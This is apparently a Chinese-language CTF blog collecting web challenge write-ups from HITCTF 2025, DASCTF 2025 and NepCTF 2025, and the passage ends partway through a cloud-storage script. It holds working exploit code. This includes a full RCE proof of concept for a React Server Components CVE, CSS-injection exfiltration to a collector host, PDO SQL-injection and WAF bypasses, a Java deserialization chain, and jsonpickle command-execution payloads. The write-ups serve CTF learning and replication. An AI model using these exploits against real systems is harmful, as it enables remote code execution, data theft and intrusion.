// /lib/token-store.ts
declare global {
  var CTF_CHALLENGE_TOKEN: string | undefined;
  var CTF_CHALLENGE_LOCKED: boolean | undefined;
}

export function generateToken(): string {
  const token = Math.floor(Math.random() * 100).toString().padStart(2, '0');
  globalThis.CTF_CHALLENGE_TOKEN = token;
  globalThis.CTF_CHALLENGE_LOCKED = false;
  console.log(`[CTF] New token generated: ${token}`);
  return token;
}

export function getToken(): string {
  if (!globalThis.CTF_CHALLENGE_TOKEN) {
    return generateToken();
  }
  return globalThis.CTF_CHALLENGE_TOKEN;
}

export function validateToken(inputToken: string): boolean {
  if (globalThis.CTF_CHALLENGE_LOCKED) {
    return false;
  }

  const currentToken = getToken();
  if (inputToken === currentToken) {
    return true;
  }
  // Lock on failure
  globalThis.CTF_CHALLENGE_LOCKED = true;
  console.log(`[CTF] Challenge LOCKED due to invalid token attempt.`);
  return false;
}

每次开启靶机生成一个两位数的token，并且输入一次错误就会永久锁定。

对于CardGenerator.tsx，重点关注一下几行

<div
    data-token={serverToken}
    className="w-full max-w-md aspect-[1.586/1] rounded-xl shadow-2xl overflow-hidden relative transition-all duration-300"
    style={previewStyle}
>

const previewStyle = {
	background: bgImage,
}
    
const [bgImage, setBgImage] = useState(
    searchParams.get("bg-image") ||
      "linear-gradient(var(--gradient-angle),var(--gradient-from),var(--gradient-to))",
);

bg-image参数是可控的，但只能进行css注入来泄露data-token。

0x02 非预期

最近react爆出来一个无条件rce的cve。

而这题的版本正好符合该cve的条件。

我这里使用内存马版本的exp

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "ip"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "ls"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

GitHub - msanft/CVE-2025-55182: Explanation and full RCE PoC for CVE-2025-55182

rce就可以干任何事情了，flag就在代码里不过需要找到编译后的文件。

`1`	`grep -RIl "flag{" /app/`

还有一种优雅的方式，直接修改data-token，因为data-token是存在全局变量里面的，我们可以利用原型链访问到全局变量。

POST / HTTP/1.1
Host: target.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----React2ShellBoundaryCTF

------React2ShellBoundaryCTF
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B0\"}","_response":{"_prefix":"globalThis.CTF_CHALLENGE_TOKEN='42';globalThis.CTF_CHALLENGE_LOCKED=false;","_formData":{"get":"$1:constructor:constructor"}}}
------React2ShellBoundaryCTF
Content-Disposition: form-data; name="1"

"$@0"
------React2ShellBoundaryCTF--

参考：https://lunaticquasimodo.top/blog/hitctf-2025-web-freestyle-writeup

0x03 预期

https://portswigger.net/research/inline-style-exfiltration

poc：

<div style='
  --val: attr(data-username);
  --steal: if(style(--val:"alice"): url(http://127.0.0.1:8888));
  background: image-set(var(--steal));
' data-username="alice">Test</div>

payload:

1
2
3

bg-image=image-set(var(--steal))
&val=attr(data-token)
&steal=if(style(--val:"07"):url(http://ip/leak/07);else:url(http://ip/leak/no))

exp:

import urllib.parse
import urllib.request

base = "http://ip/leak/"
target = "http://ip"
expr = f'url({base}no)'
for i in reversed(range(100)):
  t = f"{i:02d}"
  expr = f'if(style(--val:"{t}"):url({base}{t});else:{expr})'

payload = "/api/bot?bg-image=image-set(var(--steal))&val=attr(data-token)&steal=" + urllib.parse.quote(expr, safe="")
# print(payload)

url = target.rstrip("/") + payload
urllib.request.urlopen(url, timeout=5)

Impossible SQL

这题差点给我绕晕了

0x01 源码分析

先看源码

//index.php
<?php
error_reporting(0);
require_once 'init.php';

function safe_str($str) {
    if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) {
        return false; 
    }
    return true;
}

if (!isset($_GET['info']) || !isset($_GET['key'])) {
    HIGHLIGHT_FILE(__FILE__);
    die('');
}

$info = str_replace('`', '``', base64_decode($_GET['info']));
$key = base64_decode($_GET['key']);

if (!safe_str($info) || !safe_str($key)) {
    die('Invalid input');
}

$sql = "SELECT `$info` FROM users WHERE username = ?";

$stmt = $pdo->prepare($sql);
$stmt->execute([$key]);
print_r($stmt->fetchAll());
?>

//init.php
//远程还有关键字waf我本地没有加上
<?php

// 数据库配置
$host = '127.0.0.1';
$dbname = 'test';
$user = 'root';
$pass = 'root';

// 创建 PDO 连接
$dsn = "mysql:host=$host;dbname=$dbname;charset=utf8";

$pdo = new PDO($dsn, $user, $pass);

?>

base64_decode说明传入的参数是 Base64 编码过的

info：数据库字段名
key：用户名

str_replace(’`’, ‘``’, …)

将反引号 ```转成，转义无影响
防止利用反引号逃逸字段名（SQL 注入的一种）

safe_str过滤

空格、Tab、换行：[ \t\r\n]
SQL 注释：
- /*
- #
- -- （后面跟空格或换行）(不是匹配–而是匹配– 类似的形式）

过滤+预处理看起来无懈可击了

0x02 关键字WAF绕过

远程存在WAF（本地没加），拦截SELECT、UNION等关键字。利用php对base64的容错来绕过：在Base64字符串中插入空格，PHP的base64_decode()会自动忽略。

1
2

def split_b64(s):
    return " ".join(s)  # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="

0x03 PDO绕过

参考这篇文章Novel SQL Injection Technique in PDO Prepared Statements

利用 PDO 的内部解析逻辑来实现注入，如果你向 info 参数传入一些特殊的字节（比如 ? + null 字节），PDO 的解析器错误 把这个 ? 当作一个新的 bind 参数，此时原本只有一个绑定参数，但 PDO 却认为存在多个，最终可以让你注入 SQL 代码片段。

int pdo_mysql_scanner(pdo_scanner_t *s)
{
	const char *cursor = s->cur;

	s->tok = cursor;
	/*!re2c
	BINDCHR		= [:][a-zA-Z0-9_]+;
	QUESTION	= [?];
	COMMENTS	= ("/*"([^*]+|[*]+[^/*])*[*]*"*/"|(("--"[ \t\v\f\r])|[#]).*);
	SPECIALS	= [:?"'`/#-];
	MULTICHAR	= ([:]{2,}|[?]{2,});
	ANYNOEOF	= [\001-\377];
	*/

	/*!re2c
		(["]((["]["])|([\\]ANYNOEOF)|ANYNOEOF\["\\])*["]) { RET(PDO_PARSER_TEXT); }
		(['](([']['])|([\\]ANYNOEOF)|ANYNOEOF\['\\])*[']) { RET(PDO_PARSER_TEXT); }
		([`]([`][`]|ANYNOEOF\[`])*[`])			{ RET(PDO_PARSER_TEXT); }
		MULTICHAR								{ RET(PDO_PARSER_TEXT); }
		BINDCHR									{ RET(PDO_PARSER_BIND); }
		QUESTION								{ RET(PDO_PARSER_BIND_POS); }
		SPECIALS								{ SKIP_ONE(PDO_PARSER_TEXT); }
		COMMENTS								{ RET(PDO_PARSER_TEXT); }
		(ANYNOEOF\SPECIALS)+ 					{ RET(PDO_PARSER_TEXT); }
	*/
}

反引号里可以被接受的内容包括了 \001-\377 ，但是偏偏少了一个 \0 。也就是说如果我们传入 ?\0 会导致PDO 试图把 ?\0 当作一个完整的反引号标识符，读到 \0 时 fallback 到 SPECIALS 分支，反引号被当做一个普通符号跳过了，这导致紧接着的 ? 暴露出来，被 PDO 当做一个占位符。

另外waf禁止了[ \t\r\n] ，在MySQL会将 \x0b 识别为空白符， \x0b（垂直制表符VT）可以绕过过滤

53 45 4C 45 43 54   -> SELECT
0B                  -> \x0b
31 2B 31            -> 1+1
3B                  -> ;

waf还禁止了文章中使用的#号

`1`	`info = \?#\x00`

#不能使用，使用--\x0b替代，过滤只过滤--[ \t\r\n]的形式，而没有过滤–本身没被过滤，--\x0b绕过过滤的同时最后会被解析成--[空格]，达到注释的目的。

0x04 构造payload

payload结构：

info = b'\\?--\x0b\x00' #多加一个\是为了制造合法列名进行逃逸
key = b"x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b"

# b"x`FROM\x0b("
# b"SELECT\x0btable_name\x0bAS\x0b`\'`\x0b"
# b"FROM\x0binformation_schema.tables\x0b"
# b"WHERE\x0btable_schema=database()"
# b")y;--\x0b"

执行流程分析：

1.PDO prepare:

`1`	SELECT `\?--\x0b\x00` FROM users WHERE username = ?

2.PDO替换:

?的位置被替换为key的值

`1`	SELECT `x`FROM\x0b(SELECT\x0btable_name\x0bAS\x0b`\'`\x0bFROM\x0binformation_schema.tables\x0bWHERE\x0btable_schema=database())y;--\x0b'--\x0b\x00` FROM users WHERE username = ?

3.PDO预编译:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;-- '-- ` FROM users WHERE username = ?

key整体被自动加上单引号和反斜杠转义

4.忽略注释后面:

`1`	SELECT `\'x` FROM (SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema=database())y;

MySQL 的 反引号（`） 用来包 标识符（列名、别名、表名），在反引号中：

' 单引号是普通字符
\ 也是普通字符（不是转义）

`1`	`\'x`是一个合法的列名 / 别名

外层查询：从子查询结果中取名为 \'x 的那一列

`1`	SELECT `\'x` FROM ( ... ) y;

子查询：从当前数据库取所有表名，把 table_name 起别名为 \'x

`1`	SELECT table_name AS `\'x` FROM information_schema.tables WHERE table_schema = database()

其他payload同理。

0x05 exp

import base64
import requests

url = "http://ip"

def split_b64(s):
    """Split base64 to bypass WAF"""
    return " ".join(s)

def exploit(key_payload):
    
    info = b'\\?--\x0b\x00' 
    
    info_b64 = (base64.b64encode(info).decode())
    key_b64 = (base64.b64encode(key_payload).decode())
    
    r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10)
    print(r.text)
    
    if r.text.strip():
        print(r.text)
    
    return r

vt = b'\x0b'  

exploit(b'1`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + 
        b'AS' + vt + b"`'1`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + 
        b'WHERE' + vt + b'table_schema=database())y;--' + vt)

#使用hex就不用加引号了（引号被过滤）
table_hex = b'0x666c6167'
exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + 
        b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + 
        b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt)


exploit(b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'flag' + vt + b'AS' + vt + 
        b"`'x`" + vt + b'FROM' + vt + b'flag' + vt + 
        b'LIMIT' + vt + b'1)y;--' + vt)

ezLoader

java学会了再来复现

参考链接：

https://gyrojibering.github.io/ctf/2025/12/07/hitctf-2025-writeup/

https://www.turker.cn/archives/hitctf-2025-writeup

Novel SQL Injection Technique in PDO Prepared Statements

https://lunaticquasimodo.top/blog

DASCTF2025下半年 web wp

Mon, 08 Dec 2025 10:51:46 +0800

SecretPhotoGallery

讨厌黑盒题

0x01 万能密码

题目描述说存在sqlite sql注入但数据库为空

确实用sqlmap跑了半天啥也没有，想到万能密码但是没打进去，直到把sqlmap level参数调高一点有了新发现

抓一下包看看怎么进去的

第一次见联合查询的万能密码，不知道后端咋写的，稍微修改一下payload

`1`	`username=111' union select null,null,null --&password=111`

0x02 jwt越权

看来是要越权，看一下cookie是jwt格式的，密钥居然藏在注释里，也是够无聊的

拼接一下

`1`	`GALLERY2024SECRET`

签一下admin，我更喜欢用老版的

0x03 文件包含

又到了猜flag位置的环节，包含到flag.php时有了内容但不全

猜测是藏到注释里了，需要用伪协议读一下

base64、rot13都被过滤了，随便换一个编码就行

`1`	`php://filter/read=convert.iconv.utf8.utf16/resource=flag.php`

devweb

没做出来复现一下

开局一个登录框没什么用

f12发现超大js

可以从路由入手，先找到/login的逻辑

丢给gpt

密码用RSA公钥加密后又进行了一次base64，公钥给了（在/login注释附近）

//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="

编写脚本并发包

import base64
from cryptography.hazmat.primitives.serialization import load_der_public_key
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

public_key_b64 = (
    "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/"
    "iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ"
    "8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619"
    "aaw0Md9MNvn3w0JAgMBAAE="
)

password = "123456"

public_key_der = base64.b64decode(public_key_b64)
public_key = load_der_public_key(public_key_der)

encrypted_bytes = public_key.encrypt(
    password.encode("utf-8"),
    padding.PKCS1v15()
)

encrypted_b64 = base64.b64encode(encrypted_bytes).decode()

print("最终密文：")
print(encrypted_b64)

重定向到/dashboard

但有了cookie

0x02 /download

继续寻找路由发现了/download

有了上面的cookie尝试访问一下

`1`	`/download?file=app.jmx&sign=6f742c2e79030435b7edc1d79b8678f6`

下载了这么个东西

<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
    <hashTree>
        <TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
            <stringProp name="TestPlan.functional_mode">false</stringProp>
            <boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
            <elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                <collectionProp name="Arguments.arguments">
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
                        <stringProp name="Argument.name">mingWen</stringProp>
                        <stringProp name="Argument.value">test</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                    <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
                        <stringProp name="Argument.name">salt</stringProp>
                        <stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
                        <stringProp name="Argument.metadata">=</stringProp>
                    </elementProp>
                </collectionProp>
            </elementProp>
            <stringProp name="TestPlan.comments_or_notes"/>
            <boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
        </TestPlan>
        <hashTree>
            <ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
                <stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
                <elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
                    <boolProp name="LoopController.continue_forever">false</boolProp>
                    <intProp name="LoopController.loops">1</intProp>
                </elementProp>
                <stringProp name="ThreadGroup.num_threads">1</stringProp>
                <stringProp name="ThreadGroup.ramp_time">1</stringProp>
                <longProp name="ThreadGroup.start_time">0</longProp>
                <longProp name="ThreadGroup.end_time">0</longProp>
                <boolProp name="ThreadGroup.scheduler">false</boolProp>
                <stringProp name="ThreadGroup.duration"></stringProp>
                <stringProp name="ThreadGroup.delay"></stringProp>
                <boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
            </ThreadGroup>
            <hashTree>
                <JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
                    <stringProp name="JSR223PreProcessor.language">groovy</stringProp>
                    <stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
                    <stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
                    <stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
                    <stringProp name="JSR223PreProcessor.script">
                        def mingWen = vars.get('mingWen');
                        def firstMi = DigestUtils.md5Hex(mingWen);
                        def jieStr = firstMi.substring(5, 16);
                        def salt = vars.get('salt');
                        def newStr = firstMi + jieStr + salt;
                        def sign = DigestUtils.md5Hex(newStr);
                        vars.put('sign', sign);
                    </stringProp>
                </JSR223PreProcessor>
                <hashTree/>
                <HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
                    <boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
                    <stringProp name="Comment"/>
                    <elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
                        <collectionProp name="Arguments.arguments">
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
                                <stringProp name="Argument.name">file</stringProp>
                                <stringProp name="Argument.value">test</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                            <elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
                                <stringProp name="Argument.name">sign</stringProp>
                                <stringProp name="Argument.value">${sign}</stringProp>
                                <stringProp name="Argument.metadata">=</stringProp>
                            </elementProp>
                        </collectionProp>
                    </elementProp>
                    <stringProp name="HTTPSampler.domain">localhost</stringProp>
                    <stringProp name="HTTPSampler.port">8080</stringProp>
                    <stringProp name="HTTPSampler.protocol">http</stringProp>
                    <stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
                    <stringProp name="HTTPSampler.path">/download</stringProp>
                    <stringProp name="HTTPSampler.method">GET</stringProp>
                    <boolProp name="HTTPSampler.follow_redirects">true</boolProp>
                    <boolProp name="HTTPSampler.auto_redirects">false</boolProp>
                    <boolProp name="HTTPSampler.use_keepalive">true</boolProp>
                    <boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
                    <stringProp name="HTTPSampler.body_data"/>
                    <boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
                    <stringProp name="HTTPSampler.proxy_host"/>
                    <stringProp name="HTTPSampler.proxy_port"/>
                    <stringProp name="HTTPSampler.proxy_username"/>
                    <stringProp name="HTTPSampler.proxy_password"/>
                    <stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
                </HTTPSamplerProxy>
                <hashTree/>
            </hashTree>
        </hashTree>
    </hashTree>
</jmeterTestPlan>

丢给ai

改成python脚本

import hashlib

def calc_sign(mingwen, salt):
    first_md5 = hashlib.md5(mingwen.encode()).hexdigest()
    jie_str = first_md5[5:16]
    new_str = first_md5 + jie_str + salt
    return hashlib.md5(new_str.encode()).hexdigest()

mingWen = "app.jmx"#修改成文件名即可
salt = "f9bc855c9df15ba7602945fb939deefc"

sign = calc_sign(mingWen, salt)
print(sign)

0x03 ../../flag

在../../flag找到flag

`1`	`/download?file=../../flag&sign=0e8eb4d606b21517ca7f9bee140c9db6`

参考文章：https://mp.weixin.qq.com/s/CCsdqEK_HOlE4eXj7QDEnQ

Sunset

0解题等待wp…

NepCTF 2025 web wp

Thu, 07 Aug 2025 16:06:00 +0800

0x00 前言

最近也是处在保研的一个空窗期，既不能安心摆烂又不想学，于是想着给自己找点事做，正好前不久打了一下这个比赛（但是没打完就结束了），想到自己太久没写博客了，这比赛题目质量又挺好的，就半复现半记录一下吧。

0x01 easyGooGooVVVY&&RevengeGooGooVVVY

之前没有接触过这个东西，找到这么一片文章大概了解了一下用法 https://www.cnblogs.com/yyhuni/p/18012041

这题不出网，当时是拷打 ai 就都出了，据说题目环境有点问题

就这样吧这题自由度比较高，直接放上我的 payload:

def command="env";
def res=command.execute().text;
res
# 我怀疑源代码就是类似于python中eval那个环境,不能用println res或者return res,这样会报错
 
def shell = new GroovyShell()
def res = shell.evaluate('"env".execute()')
res

再放一下其他师傅的解法

"".class.forName("java.lang.Runtime").getRuntime().exec("env").text//反射
 
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text
//classloader
 
proc = ['sh','-c','env'] as ProcessBuilder
proc?.start()?.text
 
//还可以用FileInputStream直接读/proc/self/environ

0x02 JavaSeri

是一个魔改过的 shiro

但是这题也有点草台班子，有些人直接用工具秒了，我做的时候只剩 exp 了

www.zip 可以看到源码，大概就是这么个结构，chain 感觉就是换了个名字

链子如下：

`1`	`HaJiBamboo#readObject->ChainHaJiMi#doChain->HaJiMi#getMethod("getRuntime", null)->HaJiMi#invoke(null, null)->HaJiMi#exec("bash -c ...")`

他给的那个 exp 直接打过不了，需要用反射把 HaJiBamboo 中的私有属性 judge 改成 false，入口点是在 /login 通过 else 分支，rememberHaJiMi 传入

放上 exp：

package com.example.demo;
 
import com.example.demo.chains.ChainHaJiMi;
import com.example.demo.chains.HaJiBamboo;
import com.example.demo.chains.HaJiMi;
import com.example.demo.myOwnShiro.ShiroCrypto;
 
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
 
public class Main {
    public static void main(String[] args) throws Exception {
        HaJiMi[] hajimiArray=new HaJiMi[]{
                new HaJiMi("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new HaJiMi("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new HaJiMi("exec",new Class[]{String.class},new String[]{"calc"})
        };
 
        Runtime runtime=Runtime.getRuntime();
        Class run=runtime.getClass();
        HaJiBamboo bamboo=new HaJiBamboo(run,new ChainHaJiMi(),hajimiArray);
        Field judgeField = HaJiBamboo.class.getDeclaredField("judge");
        judgeField.setAccessible(true);
        judgeField.set(bamboo, false); 
        seri(bamboo);
        unseri("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin");
        System.out.println(ShiroCrypto.encryptFile("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin"));
    }
    public static void seri(Object o) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\CTF\\2025\\nepctf2025\\www\\aminuosi.bin"));
        objectOutputStream.writeObject(o);
    }
    public static Object unseri(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectinputstream=new ObjectInputStream(new FileInputStream(filename));
        Object obj=objectinputstream.readObject();
        return obj;
    }
}

0x03 safe_bank

这题之后当时有事就没看了，跟着复现一下

这么一看还是这个 jsonpickle 有问题，和之前 xyctf 遇到那题应该差不多，大概是 cookie 那里可以反序列化进行 rce，找到两篇文章

https://xz.aliyun.com/news/16133 https://xz.aliyun.com/news/16041

jsonpickle 采用 Unpickler._restore 对序列化对象进行恢复。而每种标签又对应着不同的_restore 函数。例如 py/object，会调用_restore_object 进行处理。先来想办法列目录和看源码吧：

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "glob.glob", "py/newargs": ["/*"]},
      "ts": 1753715060
    }
}//转成base64修改cookie刷新页面

有 /readflag 看来不能直接读 flag，那就先看看源码吧

{
  "py/object": 
    "__main__.Session",
    "meta": {
      "user": {"py/object": "linecache.getlines", "py/newargs": ["/app/app.py"]},
      "ts": 1753715060
    }
}

整理一下

from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time
 
app = Flask(__name__)
app.secret_key = os.urandom(24)
 
class Account:
    def __init__(self, uid, pwd):
        self.uid = uid
        self.pwd = pwd
 
class Session:
    def __init__(self, meta):
        self.meta = meta
 
users_db = [
    Account("admin", os.urandom(16).hex()),
    Account("guest", "guest")
]
 
def register_user(username, password):
    for acc in users_db:
        if acc.uid == username:
            return False
    users_db.append(Account(username, password))
    return True
 
FORBIDDEN = [
    'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
    'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
    'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
    'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
    'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
    'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
    '__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
    '__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]
 
def waf(serialized):
    try:
        data = json.loads(serialized)
        payload = json.dumps(data, ensure_ascii=False)
        for bad in FORBIDDEN:
            if bad in payload:
                return bad
        return None
    except:
        return "error"
 
@app.route('/')
def root():
    return render_template('index.html')
 
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')
        
        if not username or not password or not confirm_password:
            return render_template('register.html', error="所有字段都是必填的。")
        
        if password != confirm_password:
            return render_template('register.html', error="密码不匹配。")
            
        if len(username) < 4 or len(password) < 6:
            return render_template('register.html', error="用户名至少需要4个字符，密码至少需要6个字符。")
        
        if register_user(username, password):
            return render_template('index.html', message="注册成功！请登录。")
        else:
            return render_template('register.html', error="用户名已存在。")
    
    return render_template('register.html')
 
@app.post('/auth')
def auth():
    u = request.form.get("u")
    p = request.form.get("p")
    for acc in users_db:
        if acc.uid == u and acc.pwd == p:
            sess_data = Session({'user': u, 'ts': int(time.time())})
            token_raw = jsonpickle.encode(sess_data)
            b64_token = base64.b64encode(token_raw.encode()).decode()
            resp = make_response("登录成功。")
            resp.set_cookie("authz", b64_token)
            resp.status_code = 302
            resp.headers['Location'] = '/panel'
            return resp
    return render_template('index.html', error="登录失败。用户名或密码无效。")
 
@app.route('/panel')
def panel():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root', error="缺少Token。"))
    
    try:
        decoded = base64.b64decode(token.encode()).decode()
    except:
        return render_template('error.html', error="Token格式错误。")
    
    ban = waf(decoded)
    if ban:
        return render_template('error.html', error=f"请不要黑客攻击！{ban}")
    
    try:
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('user_panel.html', username=meta.get('user'))
        
        return render_template('admin_panel.html')
    except Exception as e:
        return render_template('error.html', error=f"数据解码失败。")
 
@app.route('/vault')
def vault():
    token = request.cookies.get("authz")
    if not token:
        return redirect(url_for('root'))
 
    try:
        decoded = base64.b64decode(token.encode()).decode()
        if waf(decoded):
            return render_template('error.html', error="请不要尝试黑客攻击！")
        sess_obj = jsonpickle.decode(decoded, safe=True)
        meta = sess_obj.meta
        
        if meta.get("user") != "admin":
            return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")
            
        flag = "NepCTF{fake_flag_this_is_not_the_real_one}"
        return render_template('vault.html', flag=flag)
    except:
        return redirect(url_for('root'))
 
@app.route('/about')
def about():
    return render_template('about.html')
 
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

这黑名单看着挺吓人的，先看看官方 wp 的做法：

jsonpickle 自定义的 loadclass 函数中。在 208 行对模块进行逆向翻译时，依次调用了 util.untranslate_module_name->util._0_9_6_compat_untranslate。

说人话就是 python 兼容问题导致的 builtin 和 exceptions 没有在 builtins 中，因此可以绕过。

{"py/object":"__main__.Session","meta":{"user":{"py/object":"exceptions.eval","py/newargsex":[{"py/set":["exec(\"imp\"+\"ort subpro\"+\"cess;subpro\"+\"cess.geto\"+\"utput('/r\"+\"eadflag>/app/static/flag')\")"]},""]},"ts":114514}}

lamentxu 师傅的解法：用 clear 方法把全局变量黑名单清空

{"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}}
 
{"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /app/1.txt"]},"ts":1753446254}}
 
{"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/1.txt"]},""]},"ts":1753446254}}

还有一些在黑名单外的函数

{"py/object":"__main__.Session","meta":{"user":{"py/object":"distutils.spawn.spawn","py/newargs":["sh","-c","/r*f* > flag.txt"]]},"ts":114514}}
 
# 还有个profile.run（功能有点类似于exec）？话说黑名单里不是有file吗
# bytes在new的时候会触发map的实例化，比如这样就可以触发rce
payload = {
    "py/object": "app.Session",
    "meta": {
        "user": {
            "py/object": "__builtin__.bytes",
            "py/newargs": {
                "py/object": "__builtin__.map",
                "py/newargs": [
                    {"py/function": "__builtin__.eval"},
                    [f"exec({chr_command})"],
                ],
            },
        },
        "ts": int(time.time()),
    },
}

0x04 fakexss

好像是云服务关掉了不能复现，大致看一下 wp 吧

有点类似于 minio 那个东西

import json
from qcloud_cos import CosConfig, CosS3Client
 
def get_bucket_info(region, bucket, secret_id, secret_key, token):
    """
    Use temporary credentials to get bucket information.
    """
    try:
        # Configure COS client
        config = CosConfig(
            Region=region,
            SecretId=secret_id,
            SecretKey=secret_key,
            Token=token,
            Scheme='https'
        )
        client = CosS3Client(config)
 
        # List objects in the bucket
        response = client.list_objects(Bucket=bucket)
 
        # Print bucket info
